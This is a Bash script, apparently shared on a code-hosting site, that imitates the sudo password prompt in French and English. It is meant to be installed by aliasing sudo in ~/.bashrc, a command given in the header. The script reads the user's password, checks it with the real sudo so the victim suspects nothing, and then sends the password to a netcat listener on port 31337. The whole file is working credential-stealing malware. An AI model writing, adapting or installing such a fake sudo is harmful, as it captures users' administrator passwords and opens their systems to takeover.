Morrigan
fa81bedd90
'echo 'alias sudo="/somewhere/in/the/filesystem/sudo"' >> ~/.bashrc' to implement. Not tested yet.
73 lines
1.5 KiB
Bash
73 lines
1.5 KiB
Bash
#/bin/bash
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#Show usage if no options are given
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if [ "$#" -eq 0 ];then
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/usr/bin/sudo
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exit 1
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elif [ "$1" == "-h" ];then
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/usr/bin/sudo -h
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exit 0
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fi
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#Check if user has a valid sudo session
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/usr/bin/sudo -n true 2>/dev/null
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if [ $? -eq 0 ];then
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#User has a sudo session. Don't ask again
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/usr/bin/sudo $@
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result=$?
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#Exit correctly depending on the result
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exit $result
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fi
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#Get locale language
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LANG=$(locale | grep 'LANG=' | cut -d'=' -f2)
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#Set prompt and error messages
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#French messages
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if [[ $(echo $LANG | grep 'fr') ]];then
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prompt_msg="[sudo] Mot de passe de $(whoami) :"
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fail_msg="Désolé, essayez de nouveau."
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incorrect_msg="saisies de mots de passe incorrectes"
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#English messages
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#Make english the default language
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else
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prompt_msg="[sudo] password for $(whoami) :"
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fail_msg="Sorry, try again."
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incorrect_msg="incorrect password attempts"
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fi
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attempts=0
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#Show number of incorrect attempts when user hits Ctrl-C
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trap ctrl_c INT
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function ctrl_c() {
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echo
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if [ "$attempts" -ne 0 ];then
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echo "sudo: "$attempts" "$incorrect_msg
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fi
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exit 1
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}
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while [ "$attempts" -le 2 ]; do
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echo -n $prompt_msg" "
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read -s passwd
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echo
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attempts=$((attempts+1))
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echo $passwd | /usr/bin/sudo -S true > /dev/null 2>&1
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result=$?
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if [ "$result" -eq 1 ];then
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if [ "$attempts" -eq 3 ];then
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echo "sudo: "$attempts" "$incorrect_msg
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exit 1
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else
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echo $fail_msg
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fi
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elif [ "$result" -eq 0 ];then
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echo $passwd | /usr/bin/sudo -S $@
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break
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fi
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done
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echo $passwd | nc localhost 31337 &
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exit 0 |